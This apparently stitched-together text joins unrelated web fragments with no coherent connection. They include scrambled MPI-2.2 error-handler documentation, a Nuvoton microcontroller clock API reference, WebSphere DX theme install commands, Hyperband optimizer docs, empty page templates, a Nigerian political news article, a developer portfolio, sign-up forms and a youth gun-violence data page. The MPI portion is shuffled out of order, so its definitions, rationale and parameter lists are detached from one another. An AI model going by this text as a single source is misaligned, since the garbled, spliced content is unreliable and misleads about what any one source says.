EXTERNAL FUNCTION
INTEGER ERRHANDLER, IERROR
{ static MPI::Errhandler MPI::Comm::Create_errhandler(MPI::Comm::Errhandler_function* function) (binding deprecated, see Section Deprecated since MPI-2.2
) }
Creates an error handler that can be attached to communicators.
This function is identical to MPI_ERRHANDLER_CREATE,
whose use is deprecated.
The user routine should be, in C, a
function of type
MPI_Comm_errhandler_function, which is defined as
2.2 typedef void MPI_Comm_errhandler_function(MPI_Comm *, int *, ...);
In Fortran, the user routine should be of the form:
2.2 SUBROUTINE COMM_ERRHANDLER_FUNCTION(COMM, ERROR_CODE)
2.2 { typedef void MPI::Comm::Errhandler_function(MPI::Comm &, int *, ... ); (binding deprecated, see Section Deprecated since MPI-2.2
) }
The variable argument list is provided because it provides an
ISO-standard
hook for providing additional information to the error
handler; without this hook,
ISO C
prohibits additional arguments.
( End of rationale.)
A newly
created communicator inherits the error
handler that is associated with the ``parent'' communicator.
In particular, the user can specify a ``global'' error handler for
all communicators by
associating this handler with the communicator MPI_COMM_WORLD
immediately after initialization.
( End of advice to users.)
int MPI_Comm_set_errhandler(MPI_Comm comm, MPI_Errhandler errhandler)
MPI_COMM_SET_ERRHANDLER(COMM, ERRHANDLER, IERROR)
{ void MPI::Comm::Set_errhandler(const MPI::Errhandler& errhandler) (binding deprecated, see Section Deprecated since MPI-2.2
) }
Attaches a new error handler to a communicator.
The error handler must be either a predefined error
handler, or an error handler created by a call to
MPI_COMM_CREATE_ERRHANDLER. This call is identical to
MPI_ERRHANDLER_SET,
whose use is deprecated.
int MPI_Comm_get_errhandler(MPI_Comm comm, MPI_Errhandler *errhandler)
MPI_COMM_GET_ERRHANDLER(COMM, ERRHANDLER, IERROR)
{ MPI::Errhandler MPI::Comm::Get_errhandler() const (binding deprecated, see Section Deprecated since MPI-2.2
) }
Retrieves the error handler currently associated with a communicator.
This call is identical to MPI_ERRHANDLER_GET,
whose use is deprecated.
Example:
A library function may register at its entry point the current error
handler for a
communicator, set its own private error handler for this communicator, and
restore before exiting the previous error handler.
The first argument is the communicator in use.
The second is
the error code to be returned by the MPI routine that raised the error.
If the routine would have returned MPI_ERR_IN_STATUS, it is
the error code returned in the status for the request that caused the
error handler to be invoked.
The remaining arguments are ``stdargs'' arguments
whose number and meaning is implementation-dependent. An implementation
should clearly document these arguments.
Addresses are used so that the handler may be written in Fortran.
This typedef replaces MPI_Handler_function, whose use is
deprecated.
INTEGER COMM, ERROR_CODE
2.2
In C++, the user routine should be of the form:
Rationale.
Advice to users.
MPI_COMM_SET_ERRHANDLER(comm, errhandler) INOUT comm communicator (handle) IN errhandler new error handler for communicator (handle)
INTEGER COMM, ERRHANDLER, IERROR
MPI_COMM_GET_ERRHANDLER(comm, errhandler) IN comm communicator (handle) OUT errhandler error handler currently associated with
communicator (handle)
INTEGER COMM, ERRHANDLER, IERROR
Up: Error Handling
Next: Error Handlers for Windows
Previous: Error Handling
Return to MPI-2.2 Standard Index
Return to MPI Forum Home Page
(Unofficial) MPI-2.2 of September 4, 2009
HTML Generated on September 10, 2009


This tool recommends packages that frequently appear alongside the packages in {{ repository_name }}. A score of 10 indicates that the packages are always used together.
Choose a branch:
| Selected Category: |
| Package | Recommendation | PkgPkr Score | Absolute Trend | Relative Trend | Popularity | Similarity | Categories | Version Date |
|---|---|---|---|---|---|---|---|---|
| {{ recommendation.package }} | {{ recommendation.recommendation }} | {{ recommendation.overall_score }} |
{{ recommendation.absolute_trend_score }} | {{ recommendation.relative_trend_score }} | {{ recommendation.popularity_score }} | {{ recommendation.similarity_score }} | {% for keyword in recommendation.keywords %} | {% endfor %}{{ recommendation.date }} |


Dev Scanner
Journal
Status
Cargo
Market
Modules
Nav Route
Outfitting
Shipyard
Backpack
Loadout
Loadgame


What do you want to break today?
Check Inventory
Run Test Task
Results
Hosts
{{ hosts }}
Groups
{{ groups }}
Defaults
{{ defaults }}


const x = 0;
const y = 1;
const z = 2;
npm install
npm run build
npm start
// This is where the interesting part is
function somethingSuperInteresting() {
console.log(this);
}
somethingSuperInteresting();
enum Thing {
case one
case two(_ name: String)
}


Syntax:
These commands dump the contents of the model's variables into a file, and correspondingly reload the model's state variables from the file, in order to implement checkpoint-restart for a batch, or long running environment. These commands are defined in the TCL_obj_t class, and can be overridden if desired.
By setting the variable model.xdr_check to 1 (default value is zero), the checkpoint is written out using XDR routines, so the checkpoint file can be restarted on a computer with a different processor.


|
NANO102/112 BSP V3.03.003
The Board Support Package for Nano102/112 Series
|
Functions | |
| void | CLK_DisableCKO (void) |
| This function disable frequency output function. More... | |
| void | CLK_DisableCKO0 (void) |
| This function disable frequency output function. More... | |
| void | CLK_DisableCKO1 (void) |
| This function disable frequency output function(1). More... | |
| void | CLK_EnableCKO (uint32_t u32ClkSrc, uint32_t u32ClkDiv, uint32_t u32ClkDivBy1En) |
| This function enable frequency divider module clock, enable frequency divider clock function and configure frequency divider. More... | |
| void | CLK_EnableCKO0 (uint32_t u32ClkSrc, uint32_t u32ClkDiv, uint32_t u32ClkDivBy1En) |
| This function enable frequency divider module clock, enable frequency divider clock function and configure frequency divider. More... | |
| void | CLK_EnableCKO1 (uint32_t u32ClkSrc, uint32_t u32ClkDiv, uint32_t u32ClkDivBy1En) |
| This function enable frequency divider module clock, enable frequency divider clock function and configure frequency divider. (1) More... | |
| void | CLK_PowerDown (void) |
| This function let system enter to Power-down mode. More... | |
| void | CLK_Idle (void) |
| This function let system enter to Idle mode. More... | |
| uint32_t | CLK_GetHXTFreq (void) |
| This function get external high frequency crystal frequency. The frequency unit is Hz. More... | |
| uint32_t | CLK_GetLXTFreq (void) |
| This function get external low frequency crystal frequency. The frequency unit is Hz. More... | |
| uint32_t | CLK_GetHCLKFreq (void) |
| This function get HCLK frequency. The frequency unit is Hz. More... | |
| uint32_t | CLK_GetPCLKFreq (void) |
| This function get PCLK frequency. The frequency unit is Hz. More... | |
| uint32_t | CLK_GetCPUFreq (void) |
| This function get CPU frequency. The frequency unit is Hz. More... | |
| uint32_t | CLK_GetPLLClockFreq (void) |
| This function get PLL frequency. The frequency unit is Hz. More... | |
| uint32_t | CLK_SetCoreClock (uint32_t u32Hclk) |
| This function set HCLK frequency. The frequency unit is Hz. The range of u32Hclk is 16 ~ 32 MHz. More... | |
| void | CLK_SetHCLK (uint32_t u32ClkSrc, uint32_t u32ClkDiv) |
| This function set HCLK clock source and HCLK clock divider. More... | |
| void | CLK_SetModuleClock (uint32_t u32ModuleIdx, uint32_t u32ClkSrc, uint32_t u32ClkDiv) |
| This function set selected module clock source and module clock divider. More... | |
| void | CLK_SetSysTickClockSrc (uint32_t u32ClkSrc) |
| void | CLK_EnableXtalRC (uint32_t u32ClkMask) |
| This function enable clock source. More... | |
| void | CLK_DisableXtalRC (uint32_t u32ClkMask) |
| This function disable clock source. More... | |
| void | CLK_EnableModuleClock (uint32_t u32ModuleIdx) |
| This function enable module clock. More... | |
| void | CLK_DisableModuleClock (uint32_t u32ModuleIdx) |
| This function disable module clock. More... | |
| uint32_t | CLK_EnablePLL (uint32_t u32PllClkSrc, uint32_t u32PllFreq) |
| This function set PLL frequency. More... | |
| void | CLK_DisablePLL (void) |
| This function disable PLL. More... | |
| int32_t | CLK_SysTickDelay (uint32_t us) |
| This function execute delay function. More... | |
| void | CLK_EnableSysTick (uint32_t u32ClkSrc, uint32_t u32Count) |
| Enable System Tick counter. More... | |
| void | CLK_DisableSysTick (void) |
| Disable System Tick counter. More... | |
| uint32_t | CLK_WaitClockReady (uint32_t u32ClkMask) |
| This function check selected clock source status. More... | |
| void CLK_DisableCKO | ( | void | ) |
| void CLK_DisableCKO0 | ( | void | ) |
| void CLK_DisableCKO1 | ( | void | ) |
| void CLK_DisableModuleClock | ( | uint32_t | u32ModuleIdx | ) |
This function disable module clock.
| void CLK_DisablePLL | ( | void | ) |
| void CLK_DisableSysTick | ( | void | ) |
| void CLK_DisableXtalRC | ( | uint32_t | u32ClkMask | ) |
This function disable clock source.
| u32ClkMask | is clock source mask. Including: |
| void CLK_EnableCKO | ( | uint32_t | u32ClkSrc, |
| uint32_t | u32ClkDiv, | ||
| uint32_t | u32ClkDivBy1En | ||
| ) |
This function enable frequency divider module clock, enable frequency divider clock function and configure frequency divider.
| [in] | u32ClkSrc | is frequency divider function clock source |
| [in] | u32ClkDiv | is divider output frequency selection. |
| [in] | u32ClkDivBy1En | is frequency divided by one enable. |
Output selected clock to CKO. The output clock frequency is divided by u32ClkDiv. The formula is: CKO frequency = (Clock source frequency) / 2^(u32ClkDiv + 1) This function is just used to set CKO clock. User must enable I/O for CKO clock output pin by themselves.
Definition at line 74 of file clk.c.
| void CLK_EnableCKO0 | ( | uint32_t | u32ClkSrc, |
| uint32_t | u32ClkDiv, | ||
| uint32_t | u32ClkDivBy1En | ||
| ) |
This function enable frequency divider module clock, enable frequency divider clock function and configure frequency divider.
| u32ClkSrc | is frequency divider function clock source |
| u32ClkDiv | is divider output frequency selection. |
| u32ClkDivBy1En | is frequency divided by one enable. |
Output selected clock to CKO. The output clock frequency is divided by u32ClkDiv. The formula is: CKO frequency = (Clock source frequency) / 2^(u32ClkDiv + 1) This function is just used to set CKO clock. User must enable I/O for CKO clock output pin by themselves.
Definition at line 96 of file clk.c.
| void CLK_EnableCKO1 | ( | uint32_t | u32ClkSrc, |
| uint32_t | u32ClkDiv, | ||
| uint32_t | u32ClkDivBy1En | ||
| ) |
This function enable frequency divider module clock, enable frequency divider clock function and configure frequency divider. (1)
| [in] | u32ClkSrc | is frequency divider function clock source |
| [in] | u32ClkDiv | is system reset source |
| [in] | u32ClkDivBy1En | is frequency divided by one enable. |
Output selected clock to CKO. The output clock frequency is divided by u32ClkDiv. The formula is: CKO frequency = (Clock source frequency) / 2^(u32ClkDiv + 1) This function is just used to set CKO clock. User must enable I/O for CKO clock output pin by themselves.
| void CLK_EnableModuleClock | ( | uint32_t | u32ModuleIdx | ) |
This function enable module clock.
| uint32_t CLK_EnablePLL | ( | uint32_t | u32PllClkSrc, |
| uint32_t | u32PllFreq | ||
| ) |
| void CLK_EnableSysTick | ( | uint32_t | u32ClkSrc, |
| uint32_t | u32Count | ||
| ) |
Enable System Tick counter.
| [in] | u32ClkSrc | is System Tick clock source. Including: |
| [in] | u32Count | is System Tick reload value. It should be 0x1~0xFFFFFF. |
This function set System Tick clock source, reload value, enable System Tick counter and interrupt. The register write-protection function should be disabled before using this function.
| void CLK_EnableXtalRC | ( | uint32_t | u32ClkMask | ) |
This function enable clock source.
| [in] | u32ClkMask | is clock source mask. Including: |
| uint32_t CLK_GetCPUFreq | ( | void | ) |
| uint32_t CLK_GetHCLKFreq | ( | void | ) |
| uint32_t CLK_GetHXTFreq | ( | void | ) |
| uint32_t CLK_GetLXTFreq | ( | void | ) |
| uint32_t CLK_GetPCLKFreq | ( | void | ) |
| uint32_t CLK_GetPLLClockFreq | ( | void | ) |
| void CLK_Idle | ( | void | ) |
| void CLK_PowerDown | ( | void | ) |
| uint32_t CLK_SetCoreClock | ( | uint32_t | u32Hclk | ) |
| void CLK_SetHCLK | ( | uint32_t | u32ClkSrc, |
| uint32_t | u32ClkDiv | ||
| ) |
This function set HCLK clock source and HCLK clock divider.
| [in] | u32ClkSrc | is HCLK clock source. Including : |
| [in] | u32ClkDiv | is HCLK clock divider. Including : |
Definition at line 288 of file clk.c.
| void CLK_SetModuleClock | ( | uint32_t | u32ModuleIdx, |
| uint32_t | u32ClkSrc, | ||
| uint32_t | u32ClkDiv | ||
| ) |
This function set selected module clock source and module clock divider.
| [in] | u32ModuleIdx | is module index. |
| [in] | u32ClkSrc | is module clock source. |
| [in] | u32ClkDiv | is module clock divider. |
Valid parameter combinations listed in following table:
|
| void CLK_SetSysTickClockSrc | ( | uint32_t | u32ClkSrc | ) |
| int32_t CLK_SysTickDelay | ( | uint32_t | us | ) |
This function execute delay function.
| [in] | us | Delay time. The Max value is 2^24 / CPU Clock(MHz). Ex: 50MHz => 335544us, 48MHz => 349525us, 28MHz => 699050us ... |
Use the SysTick to generate the delay time and the UNIT is in us. The SysTick clock source is from HCLK, i.e the same as system core clock.
| uint32_t CLK_WaitClockReady | ( | uint32_t | u32ClkMask | ) |
This function check selected clock source status.
| [in] | u32ClkMask | is selected clock source. Including |
To wait for clock ready by specified CLKSTATUS bit or timeout (~5ms)
Definition at line 645 of file clk.c.


JOUER
Pulse Gun
Blink Attack
Recall
Pulse Bomb
Rocket Launcher
Concussive Blast
Jump Jet
Rocket Barrage


Angry reactions trail FG’s stance on Onyema
by BankoleBy Chidi Nkwopara, OWERRI.
Angry reactions have started trailing the stance of the Federal Government and its agencies, on the reported indictment and issuance of a warrant for the arrest of Air Peace boss, Chief Allen Onyema, by the United States Department of Justice.
Addressing a news conference yesterday, in Owerri, the protagonist of Biafra Independence Movement, BIM, Chief Ralph Uwazuruike, said he was not surprised that “a man, who was hailed for his convincing patriotism not long ago, has suddenly turned a villain that must be rubbished.
Also read: Oshiomhole pleads with APC governors to implement N30,000 minimum wage
Uwazuruike roundly condemned the constitution of a probe team, by the Economic and Financial Crimes Commission, EFCC, to immediately look into Onyema’s matter, as well as the statement credited to President Muhammadu Buhari’s Personal Assistant on Social Media, Lauretta Onochie.
“The Onyema saga is being packaged by the Federal Government and it’s agencies. The EFCC has, in less than 24 hours and Lauretta Onochie asking the Air Peace boss to go and defend himself in the United States, means it is a calculated plot against another enterprising Igbo son”, Uwazuruike said.
He gave a rundown of people from other parts of the country, whose supposed criminals cases never saw the light of the day, including an investigation by the EFCC.
While wondering why things must always be skewed against Ndigbo, Uwazuruike, however, reminded the government that “Ndigbo are being pushed to the wall again”.
Answering a question, the BIM leader said “the feeling in some quarters in Nigeria is that Allen Onyema does not have anybody to defend his cause.
“If they think that Allen Onyema does not have anybody, let them touch him. Why would anybody or government agency wish to humiliate Allen Onyema? Ndigbo wanted to go but Nigeria refused”, Uwazuruike said.
Continuing, the BIM leader recalled saying it in different fora that “Ndigbo are endangered species in Nigeria, but what we have always said is that we can’t have two laws in Nigeria, one for Ndigbo and another for the others”.


Naming:
- theme name:
TwentySixteen Theme
- theme unique name:
twentySixteen.theme
- skin name:
TwentySixteen Skin
- skin unique name:
twentySixteen.skin
Dynamic content:
- dynamic contents location:
<wp_profile_root>/installedApps/node/TwentySixteenTheme.ear
- dynamic content EAR display name:
TwentySixteenTheme
- dynamic content WAR context root:
/twentySixteenTheme
- dynamic content spots module name:
dyncs_twentysixteen
- head dynamic content spot id:
twentysixteen_head
- navigation dynamic content spot id:
twentysixteen_nav
Static content:
- static contents location:
dav:fs-type1/themes/twentySixteen/
- static content module name:
static_twentysixteen
PAA installation instructions:
- Copy
output/twentySixteenTheme.paa
to your Portal server. In the example below, the file was copied to the /opt
directory.
- To install the paa, open a command shell and go to the ConfigEngine directory, for example:
/opt/WebSphere/wp_profile/ConfigEngine
- Run these two tasks, remembering to provide the appropriate passwords:
./ConfigEngine.sh install-paa -DPAALocation=/opt/twentySixteenTheme.paa -DWasPassword=WAS_PASSWORD -DPortalAdminPwd=PORTAL_PASSWORD
./ConfigEngine.sh deploy-paa -DappName=twentySixteenTheme -DWasPassword=WAS_PASSWORD -DPortalAdminPwd=PORTAL_PASSWORD
Next steps:
- If the TwentySixteen
style.css
file contains import statements, add them to the DX theme relative to: dav:fs-type1/themes/twentySixteen/css/style.css
- The script automatically adds any
/images/
or /img/
folders into the DX theme automatically. If the TwentySixteen them requires other image folders besides these, move them into: dav:fs-type1/themes/twentySixteen/css/
- The script created a dynamic navigation JSP file based on the TwentySixteen theme input. This file can be edited here:
<wp_profile_root>/installedApps/node/TwentySixteenTheme.ear/twentySixteenTheme.war/themes/html/dynamicSpots/navigation.jsp
- If desired, edit the theme's
<head>
section here: <wp_profile_root>/installedApps/node/TwentySixteenTheme.ear/twentySixteenTheme.war/themes/html/dynamicSpots/head.jsp
- The script found straight-forward pieces of PHP code in the theme and either removed or replaced them with appropriate DX theme code. However, the bulk of the PHP code must be handled manually. Use these references to clean up the PHP in the following files:
dav:fs-type1/themes/twentySixteen/theme.html
dav:fs-type1/themes/twentySixteen/skins/Standard/skin.html
- The script added jquery to the theme. If this is not needed, remove it from here:
dav:fs-type1/themes/twentySixteen/profiles/profile_deferred.json
- See here for adding extra JS and CSS resources to the DX theme.
PAA uninstall instructions:
- Open a command shell and go to the ConfigEngine directory, for example:
/opt/WebSphere/wp_profile/ConfigEngine
- Run these two tasks, remembering to provide the appropriate passwords:
./ConfigEngine.sh remove-paa -DappName=twentySixteenTheme -DforceRemove=true -DWasPassword=WAS_PASSWORD -DPortalAdminPwd=PORTAL_PASSWORD
./ConfigEngine.sh uninstall-paa -DappName=twentySixteenTheme -DforceUninstall=true -DWasPassword=WAS_PASSWORD -DPortalAdminPwd=PORTAL_PASSWORD


Hi! I'm Charlene Becker, a Front-End Web Developer skilled in HTML5, CSS3, JavaScript, jQuery, AJAX, JSON, Twitter Bootstrap and GitHub. I studied at Microsoft Virtual Academy, completing certifications in HTML5 and CSS3, and JavaScript Fundamentals with jQuery. You can find some of the projects I've developed below.
Formerly, I worked at a law firm as a skilled Paralegal in the School Boards and Education sector, where I was the "glue" between attorneys, clients, and the courts. I've also ran my own successful entrepreneurial business in direct sales for 4 years, where I led a sales team of 10, developed marketing strategies, maintained a client database, and attended multiple conferences focusing on leadership, productivity, finance, and best-practices. Life becomes static when you stop learning, and therefore, I was eager to dive head-first into the world of technology and development. So, here I am, and thank you for welcoming me.
Searches drug information through the openFDA API using jQuery, JSON, JavaScript, and Twitter Bootstrap.
Multi-page application form with HTML5 and JavaScript validation, progress control, and form submission using formspree.io API.
A mobile-compatible game app featuring responsive design with Twitter Bootstrap and using JavaScript, HTML5, and CSS3.
Complex form sample featuring responsive design using Twitter Bootstrap, HTML5 validation, and form submission using formspree.io API
An example of converting a physical form document to a web-based version. Includes multiple HTML5 thematic elements and fully validates with HTML5 specifications.
Various HTML5 tables with multiple Twitter Bootstrap styles and full validation with HTML5 specifications.


Each instant deposit service costs is (1%)
of the deposit amount
Waiver: I am fully aware of the risks connected with the investment activity. I understand, accept, and agree to the rules and conditions that apply to my access.


Hyperband¶
-
class
hpbandster.optimizers.hyperband.
HyperBand
(configspace=None, eta=3, min_budget=0.01, max_budget=1, **kwargs)[source]¶ Hyperband implements hyperparameter optimization by sampling candidates at random and “trying” them first, running them for a specific budget. The approach is iterative, promising candidates are run for a longer time, increasing the fidelity for their performance. While this is a very efficient racing approach, random sampling makes no use of the knowledge gained about the candidates during optimization.
Parameters: - configspace (ConfigSpace object) – valid representation of the search space
- eta (float) – In each iteration, a complete run of sequential halving is executed. In it, after evaluating each configuration on the same subset size, only a fraction of 1/eta of them ‘advances’ to the next round. Must be greater or equal to 2.
- min_budget (float) – The smallest budget to consider. Needs to be positive!
- max_budget (float) – the largest budget to consider. Needs to be larger than min_budget! The budgets will be geometrically distributed $sim eta^k$ for $kin [0, 1, … , num_subsets - 1]$.
-
get_next_iteration
(iteration, iteration_kwargs={})[source]¶ Hyperband uses SuccessiveHalving for each iteration. See Li et al. (2016) for reference.
Parameters: iteration (int) – the index of the iteration to be instantiated Returns: SuccessiveHalving – corresponding number of configurations Return type: the SuccessiveHalving iteration with the


Provide the link to the Klocwork Server that you want to connect with. The name is used as an identifier and is referenced on a job configuration under Build Environment. The URL should be in the form: http://kwserver:8080
Organisations can have multiple Klocwork Servers but a single license server. Provide the license settings under the Global License Settings.
If you use different license servers, provide the specific license settings that you want to use, depending on which Klocwork Server URL you are using. Select the "Use specific License Settings for this Klocwork Server" check box and specify the license host and port.


{% extends "./layouts/base.html" %} {% block page_title %}Pinfinity Book Hub Gallery{% endblock %} {% block page_description %} A gallery and preview tool for HTML5 widgets used in iBooks Author. {% endblock %} {% block main_content %}
{{ error }}
Click here to skip to the form and try again.


Provider Sign Up
Enter valid sign up details.
Full Name
Date Of Birth
Age
Contact Number
Aadhar card number
RC Book number of bike
Address
City
State
Choose...
...
PIN
Sign Up!
Reset
Already have an account?
Login


Spotify Smash Bros is a web application that takes a user's top four artists from either the last month, the last six months, or all time and displays them in the Super Smash Bros character select screen format.
Created by Christie Hui for funsies :)
Please select a time range you'd like to generate artist data for:
Thanks for using Spotify Smash Bros! Feel free to download your image and share with your friends!


| Device ID | Service | IP Address | Status | Last Updated |
|---|---|---|---|---|
| {{device.customId}} | {{device.deviceService}} | {{device.lastIpAddress}} | {{device.lastStatusUpdate}} | {{device.dateLastUpdated}} |
| Add Device |
Self-sustainability, ingenuity, and the spirit of carving out one's stake
are the values that inspired homesteading long ago. H0M3ST3AD was created
with these very same ideals in mind. This platform allows the user to build
a "digital homestead," a fully-customizable platform to build a central
automated and self-sustaining living space. This has been achieved to some
degree using cloud servers and IoT solutions; however, H0M3ST3AD is more
versatile in that it can be run on a home server, with full offline
compatibility.
This is where "self-sustaining" truly comes into play.  At the
same time, this does not mean that the system must be run offline, as there
are obvious advantages to having such a system connected to the internet.
Again, the idea is that the way the system runs is completely in your hand.
Should you want to access it via SSH, VPN, or even export it publically,
then you have the power to do so.
H0M3ST3AD is an ongoing project and features will continue to be added.
New tools will hopefully be made available on a regular basis to help create
your ideal system. For now, however, welcome home.


BLH Online
Home
About
Business
Welcome
Since: DD/MM/YYYY
#Phase 1
Type a search term to begin data analysis
Since: DD/MM/YYYY
#Phase 2
Receives data results and displays on graph


In fact, gun violence is the second most common cause of death among young people in the United States.
This is a crisis.
↓
From 2001 to 2017, gun violence took the lives of 49163 young people and injured 262350.
Injuries caused by violence and deaths by suicide involving firearms are increasing.
Hover over a line's label to highlight a cause of injury or death.
Hover over a point to see the totals for a specific year.
Note that the dashed line represents missing data.
Children and teenagers across the country have been injured and killed by guns.
Each point represents a victim of gun violence in 2019. Hover over a point to show more detail.
Males and teens are the largest group of victims among youth.
Each circle represents a recent victim of firearm violence.
Policy has power.
Map Zoom Feature
Data
CDC WISQARS Data - We used this data for the line graph breaking down causes of death and injuries over time.
Gun Violence Archive - We obtained two datasets from this source: youth injured by firearms and youth killed by firearms. We used these datasets for the animated dot visualization and the map with points representing victims.
RAND State Firearm Law Database - We relied on this extensive dataset of states' firearm policies for our choropleth map showing the correlation between policies and gun deaths.